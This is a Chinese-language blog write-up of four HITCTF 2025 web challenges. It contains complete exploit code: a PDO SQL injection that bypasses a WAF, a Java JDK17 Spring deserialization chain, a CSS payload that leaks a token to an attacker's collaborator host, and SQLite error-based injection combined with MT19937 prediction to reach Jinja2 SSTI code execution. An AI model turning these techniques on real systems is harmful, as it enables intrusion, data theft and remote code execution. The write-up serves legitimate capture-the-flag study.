Turker
Turker
Published on 2025-12-14 / 79 Visits
0

HITCTF 2025 Writeup

HITCTF 2025 Writeup

又是一年 HITCTF。笔者去年参加 HITCTF 2024 的时候才刚刚入门一个月,自然也没有什么贡献。加入 Lilac 这一年来被带着打了很多比赛,去了很多地方,见了很多世面,自认为是有些成长的。这次 HITCTF 2025 也做了一些题目,希望明年能再接再厉吧。

Web

impossible SQL | 已解出

  1. PHP8.4 PDO MySQL 注入,源码如下,题目同时带有简单的 waf :
<?php
error_reporting(0);
require_once 'init.php';

function safe_str($str) {
    if (preg_match('/[ \t\r\n]/', $str) || preg_match('/\/\*|#|--[ \t\r\n]/', $str)) {
        return false; 
    }
    return true;
}

if (!isset($_GET['info']) || !isset($_GET['key'])) {
    HIGHLIGHT_FILE(__FILE__);
    die('');
}

$info = str_replace('`', '``', base64_decode($_GET['info']));
$key = base64_decode($_GET['key']);

if (!safe_str($info) || !safe_str($key)) {
    die('Invalid input');
}

$sql = "SELECT `$info` FROM users WHERE username = ?";

$stmt = $pdo->prepare($sql);
$stmt->execute([$key]);
print_r($stmt->fetchAll());

?>
  1. 在正常情况下,这类预处理写法是几乎不可能被 SQL 注入攻击成功的。这里的关键在于 PDO 默认并不使用数据库本身的原生预处理机制。PDO 会先解析 SQL,识别出参数标记(比如 ?:xxx ),再把绑定参数替换进去。
  2. 问题出在PDO MySQL 解析器里对反引号包裹的标识符的处理上:
int pdo_mysql_scanner(pdo_scanner_t *s)
{
	const char *cursor = s->cur;

	s->tok = cursor;
	/*!re2c
	BINDCHR		= [:][a-zA-Z0-9_]+;
	QUESTION	= [?];
	COMMENTS	= ("/*"([^*]+|[*]+[^/*])*[*]*"*/"|(("--"[ \t\v\f\r])|[#]).*);
	SPECIALS	= [:?"'`/#-];
	MULTICHAR	= ([:]{2,}|[?]{2,});
	ANYNOEOF	= [\001-\377];
	*/

	/*!re2c
		(["]((["]["])|([\\]ANYNOEOF)|ANYNOEOF\["\\])*["]) { RET(PDO_PARSER_TEXT); }
		(['](([']['])|([\\]ANYNOEOF)|ANYNOEOF\['\\])*[']) { RET(PDO_PARSER_TEXT); }
		([`]([`][`]|ANYNOEOF\[`])*[`])			{ RET(PDO_PARSER_TEXT); }
		MULTICHAR								{ RET(PDO_PARSER_TEXT); }
		BINDCHR									{ RET(PDO_PARSER_BIND); }
		QUESTION								{ RET(PDO_PARSER_BIND_POS); }
		SPECIALS								{ SKIP_ONE(PDO_PARSER_TEXT); }
		COMMENTS								{ RET(PDO_PARSER_TEXT); }
		(ANYNOEOF\SPECIALS)+ 					{ RET(PDO_PARSER_TEXT); }
	*/
}
  1. 反引号里可以被接受的内容包括了 \001-\377 ,但是偏偏少了一个 \0 。也就是说如果我们传入 `?\0` 会导致:
    1. PDO 试图把 `?\0` 当作一个完整的反引号标识符
    2. 读到 \0 时 fallback 到 SPECIALS 分支,反引号被当做一个普通符号跳过了
    3. 这导致紧接着的 ? 暴露出来,被 PDO 当做一个占位符
  2. 接着如果我们在其中加入一个注释符号截断语句,即可实现注入。题目这里过滤了很多空白字符,但是少了 \0b,它也会被 MySQL 当做空格
  3. 举个例子,我们进行如下的输入:
info = b"\\?--\x0b\x00"
key_tables = (
    b"`FROM\x0b("
    b"SELECT\x0btable_name\x0bAS\x0b`\'`\x0b"
    b"FROM\x0binformation_schema.tables\x0b"
    b"WHERE\x0btable_schema=database()"
    b")x;--\x0b"
)
  1. PDO 会进行如下操作:
    1. 代入 info : SELECT `\?--[VT][NUL]` FROM users WHERE username = ?
    2. PDO 模拟:
SELECT `\`FROM[VT](SELECT[VT]table_name[VT]AS[VT]`\'`[VT]FROM[VT]information_schema.tables[VT]WHERE[VT]table_schema=database())x;--[VT]'--[VT][NUL]` FROM users WHERE username = ?
  1. 所以MySQL实际执行:
SELECT `\'` FROM (SELECT table_name AS `\'` FROM information_schema.tables WHERE table_schema=database())x;-- '-- ` FROM users WHERE username = ?
  1. 这相当于在派生表 x 中取出列 \' ,其内容就是内部 SELECT 出的内容
  2. 最后的一点 trick 是 PHP 的 base64_decode() 方法是宽松的,在其中插入一些非法 base64 字符可以绕过 waf。

Exp:

import base64
import requests

target = "http://<chall>"

INFO_RAW = b"\\?--\x0b\x00"

def b64_noise(data: bytes) -> str:
    """在 base64 中插入一个非法字符绕过 WAF,PHP 宽松解码仍能复原"""
    s = base64.b64encode(data).decode()
    return s[:2] + "!" + s[2:]

def send(label: str, key_raw: bytes):
    params = {"info": b64_noise(INFO_RAW), "key": b64_noise(key_raw)}
    r = requests.get(target, params=params, timeout=10)
    print(b64_noise(INFO_RAW))
    print(b64_noise(key_raw))
    print(f"[{label}] status={r.status_code} text={r.text}")


key_tables = (
    b"`FROM\x0b("
    b"SELECT\x0btable_name\x0bAS\x0b`\'`\x0b"
    b"FROM\x0binformation_schema.tables\x0b"
    b"WHERE\x0btable_schema=database()"
    b")x;--\x0b"
)
send("tables", key_tables)

key_cols = (
    b"`FROM\x0b("
    b"SELECT\x0bcolumn_name\x0bAS\x0b`\'`\x0b"
    b"FROM\x0binformation_schema.columns\x0b"
    b"WHERE\x0btable_name=0x7365637265745f306664313539633534656164\x0b"
    b"AND\x0btable_schema=database()"
    b")x;--\x0b"
)
send("columns of secret_*", key_cols)


key_flag = (
    b"`FROM\x0b("
    b"SELECT\x0bpassword\x0bAS\x0b`\'`\x0b"
    b"FROM\x0bsecret_0fd159c54ead"
    b")x;--\x0b"
)
send("flag", key_flag)

Ref:
https://slcyber.io/research-center/a-novel-technique-for-sql-injection-in-pdos-prepared-statements/

EzLoader | 已解出

  1. 题目环境是 JDK17 ,于是首先想到的是 JDK17 Spring 原生链。
  2. 黑名单类如下,可以看到这基本上就是 ban 掉了一整条JDK17 Spring 原生链 + 基本的二次反序列化入口。
static String[] blacklist = new String[]{  
   "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl",  
   "com.fasterxml.jackson.databind.node.POJONode",  
   "javax.management.BadAttributeValueExpException",  
   "javax.swing.event.EventListenerList",  
   "java.security.SignedObject"  
};
  1. ban 掉了 SignedObject 就不能二次反序列化了吗?答案是否定的,我们可以走 JNDI 反序列化。
  2. 整条攻击链就是 JTAreadObject2JNDI -> JDK17 Spring 原生反序列化链,这两步具体的细节在我的文章中都有写,在这里就不详细描述了。
    Exp:
    JTAreadObject2JNDI.java:
package cn.turker;  
  
import java.io.*;  
import org.springframework.transaction.jta.JtaTransactionManager;  
  
public class JTAreadObject2JNDI {  
    public static byte[] main(String url) throws Exception {  
        String jndiUrl = url;  
        JtaTransactionManager jtaTransactionManager = new JtaTransactionManager();  
        jtaTransactionManager.setUserTransactionName(jndiUrl);  
  
        byte[] serializedData = serialize(jtaTransactionManager);  
  
        return serializedData;  
    }  
  
        public static byte[] serialize(Object obj) throws IOException {  
        ByteArrayOutputStream baos = new ByteArrayOutputStream();  
        ObjectOutputStream oos = new ObjectOutputStream(baos);  
        oos.writeObject(obj);  
        return baos.toByteArray();  
    }  
}

JDK17Spring.java:

package cn.turker.payload;  
  
import java.io.*;  
import java.lang.reflect.*;  
import java.nio.file.Files;  
import java.nio.file.Paths;  
import java.util.Vector;  
  
import javax.swing.event.EventListenerList;  
import javax.swing.undo.UndoManager;  
import javax.xml.transform.Templates;  
  
import javassist.ClassPool;  
import javassist.CtClass;  
import javassist.CtMethod;  
  
import org.springframework.aop.framework.AdvisedSupport;  
  
import com.fasterxml.jackson.databind.node.POJONode;  
  
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;  
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;  
import sun.misc.Unsafe;  
  
@SuppressWarnings({"rawtypes", "unchecked", "CallToPrintStackTrace"})  
public class JDK17Spring {  
    public static void main(String[] args) throws Exception {  
  
        try {  
            ClassPool pool = ClassPool.getDefault();  
            CtClass ctClass = pool.get("com.fasterxml.jackson.databind.node.BaseJsonNode");  
            CtMethod writeReplace = ctClass.getDeclaredMethod("writeReplace");  
            ctClass.removeMethod(writeReplace);  
            ctClass.toClass();  
        } catch (Exception e) {  
            return;  
        }  
  
        Class unsafeClass = Class.forName("sun.misc.Unsafe");  
        Field field = unsafeClass.getDeclaredField("theUnsafe");  
        field.setAccessible(true);  
        Unsafe unsafe = (Unsafe) field.get(null);  
        Module baseModule = Object.class.getModule();  
        Class currentClass = JDK17Spring.class;  
        long addr = unsafe.objectFieldOffset(Class.class.getDeclaredField("module"));  
        unsafe.getAndSetObject(currentClass, addr, baseModule);  
  
        byte[] code = Files.readAllBytes(Paths.get("Evil.class"));  
        byte[] uselessCode = ClassPool.getDefault().makeClass("Burger").toBytecode();  
  
        TemplatesImpl templates = new TemplatesImpl();  
        setFieldValue(templates, "_bytecodes", new byte[][] { code, uselessCode });  
        setFieldValue(templates, "_name", "Burger King");  
        setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());  
        setFieldValue(templates,"_transletIndex",0);  
  
        AdvisedSupport support = new AdvisedSupport();  
        support.setTarget(templates);  
  
        Class<?> proxyClass = Class.forName("org.springframework.aop.framework.JdkDynamicAopProxy");  
        Constructor<?> constructor = proxyClass.getConstructor(AdvisedSupport.class);  
        constructor.setAccessible(true);  
        InvocationHandler handler = (InvocationHandler) constructor.newInstance(support);  
  
        Templates proxy = (Templates) Proxy.newProxyInstance(  
                Templates.class.getClassLoader(),  
                new Class[]{Templates.class},  
                handler  
        );  
  
        POJONode jsonNode = new POJONode(proxy);  
  
        EventListenerList list = new EventListenerList();  
        UndoManager undomanager = new UndoManager();  
        Field f = undomanager.getClass().getSuperclass().getDeclaredField("edits");  
        f.setAccessible(true);  
        Vector vector = (Vector) f.get(undomanager);  
        vector.add(jsonNode);  
        setFieldValue(list, "listenerList", new Object[]{Class.class, undomanager});  
  
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("payload.bin"));  
        oos.writeObject(list);  
        oos.close();  
    }  
  
    public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {  
        Field field = obj.getClass().getDeclaredField(fieldName);  
        field.setAccessible(true);  
        field.set(obj, value);  
    }  
  
}

freestyle | 已解出

  1. 我们的目的是泄露 样式里 data-token 这个属性值。
  2. 可以看到在 components/CardGenerator.tsx 中,url 的参数被直接添加进了 style 对象。style={previewStyle}const previewStyle = { background: bgImage }bgImage 来自 searchParams.get("bg-image")。同时其他参数 key=value 会被写成 CSS 自定义属性。
  3. 因此我们可以利用 attr() + if() + image-set() 来进行有条件的加载,从而把 --val: attr(data-token) 这个属性映射为一次外带请求。
  4. 具体到这题,示例 payload 如下:
bg-image=image-set(var(--steal))
&val=attr(data-token)
&steal=if(style(--val:"07"):url(https://YOUR-COLLAB/leak/07);else:url(https://YOUR-COLLAB/leak/no))
  1. 首先,--val 的值等于 data-token 。同时 --steal: if(style(--val:"07"):url(.../07);else:url(.../no)) 会判断这个值是不是 07,根据结果返回不同 url 。最后 background: image-set(var(--steal)) 会触发这个 url 加载。
  2. 还有最后一个问题,怎么判断多个值?答案是 CSS 的 if 支持嵌套,只需要构造一个很长的请求就好了。
    Payload Gen:
import urllib.parse
base="https://<YOUR_ADDR>/leak/"
expr=f'url({base}no)'
for i in reversed(range(100)):
  t=f"{i:02d}"
  expr=f'if(style(--val:"{t}"):url({base}{t});else:{expr})'
print("/api/bot?bg-image=image-set(var(--steal))&val=attr(data-token)&steal="+urllib.parse.quote(expr, safe=""))

logServer | 已解出

  1. 题目的逻辑很明显,首先我们的目标是通过 /backdoor 的 Jinja2 SSTI 实现 RCE。
@app.route("/backdoor", methods=["POST"])
def backdoor():
    data = request.get_json()
    secret = data.get("secret")
    code = data.get("code")

    if not secret or not code:
        return jsonify(
            {"success": False, "error": "Secret and code are required"}
        ), 400

    stored_secret = conn.execute("SELECT secret FROM secret").fetchone()[0]
    if secret != stored_secret:
        return jsonify({"success": False, "error": "Invalid secret"}), 403

    res = render_template_string(code)
    return jsonify({"success": True, "result": res}), 200
  1. 这个 secret 是每次请求都会更新的,于是我们需要泄露每一次请求的 secret 来预测随机数。
@app.after_request
def update_secret(response):
    new_secret = gen_secret()
    conn.execute(f"UPDATE secret SET secret = '{new_secret}'")
    print(f"New secret generated: {new_secret}")
    return response
  1. /log 路由存在一个 SQL注入
@app.route("/log", methods=["POST"])
def log_message():
    data = request.get_json()
    message = data.get("message")
    if not message:
        return jsonify({"success": False, "error": "Message is required"}), 400

    try:
        conn.execute(f"INSERT INTO logs (message) VALUES ('{message}')")
        return jsonify({"success": True}), 200
    except Exception as e:
        return jsonify({"success": False, "error": str(e)}), 500
  1. 于是我们想到可以通过报错回显每一次的 secret ,收集足够输出即可预测 MT19937 的后续输出。对于题目使用的 sqlite3,使用 fts3_tokenizer() 函数可以达成报错回显。

Exp:

import requests
import time
import re
import sys

# Target
URL = "http://<chall>/log"
BACKDOOR_URL = "http://<chall>/backdoor"

# MT19937 Constants
N = 624
M = 397
MATRIX_A = 0x9908b0df
UPPER_MASK = 0x80000000
LOWER_MASK = 0x7fffffff

def undo_right_shift_xor(val, shift):
    res = val
    for i in range(32 // shift + 1):
        res = val ^ (res >> shift)
    return res

def undo_left_shift_xor_mask(val, shift, mask):
    res = val
    for i in range(32 // shift + 1):
            res = val ^ ((res << shift) & mask)
    return res

def untemper(y):
    y = undo_right_shift_xor(y, 18)
    y = undo_left_shift_xor_mask(y, 15, 0xefc60000)
    y = undo_left_shift_xor_mask(y, 7, 0x9d2c5680)
    y = undo_right_shift_xor(y, 11)
    return y

def leak_secret():
  
    payload = "' || fts3_tokenizer((SELECT secret FROM secret)) || '"
  
    try:
        r = requests.post(URL, json={"message": payload})
        if r.status_code == 500:
            match = re.search(r"unknown tokenizer: ([0-9a-f]+)", r.text)
            if match:
                return match.group(1)
            else:
                print(f"Error, no match in: {r.text}")
        else:
            print(f"Unexpected status: {r.status_code}, Body: {r.text}")
    except Exception as e:
        print(f"Request failed: {e}")
    return None

def predict_next(state_array):
    # state_array: list of 624 integers (MT19937 state)
    state = list(state_array)
  
    # Twist
    for i in range(N):
        x = (state[i] & UPPER_MASK) + (state[(i + 1) % N] & LOWER_MASK)
        xA = x >> 1
        if (x % 2) != 0:
            xA ^= MATRIX_A
        state[i] = state[(i + M) % N] ^ xA
  
    # Generate next 3 outputs
    outputs = []
    for i in range(3):
        y = state[i]
        y ^= (y >> 11)
        y ^= (y << 7) & 0x9d2c5680
        y ^= (y << 15) & 0xefc60000
        y ^= (y >> 18)
        outputs.append(y)
  
    # Combine to 96-bit int (Low to High)
    val = outputs[0] + (outputs[1] << 32) + (outputs[2] << 64)
  
    secret_bits = val.to_bytes((val.bit_length() + 7) // 8, byteorder='big')
    if len(secret_bits) < 12:
        secret_bits = b'\x00' * (12 - len(secret_bits)) + secret_bits
    return secret_bits.hex()

def main():
    print("Collecting samples...")
  
    collected_ints = []
  
    for i in range(208):
        s_hex = leak_secret()
        if not s_hex:
            print("Failed to leak secret.")
            return
  
        # print(f"Sample {i+1}: {s_hex}")
  
        val = int(s_hex, 16)
        v1 = val & 0xffffffff
        v2 = (val >> 32) & 0xffffffff
        v3 = (val >> 64) & 0xffffffff
  
        collected_ints.append(untemper(v1))
        collected_ints.append(untemper(v2))
        collected_ints.append(untemper(v3))
  
        # Progress
        if (i+1) % 10 == 0:
            print(f"Progress: {i+1}/208")
  
    print("Predicting next secret...")
    next_secret = predict_next(collected_ints)
    print(f"Predicted: {next_secret}")
  
    payload_code = "{{ config.__class__.__init__.__globals__['os'].popen('/readflag').read() }}"
  
    print("Sending backdoor request...")
    r = requests.post(BACKDOOR_URL, json={
        "secret": next_secret,
        "code": payload_code
    })
  
    print(r.text)
  
    if "success" in r.text and r.json().get("success"):
        print("RCE Successful!")
        print("Result:", r.json().get("result"))

if __name__ == "__main__":
    main()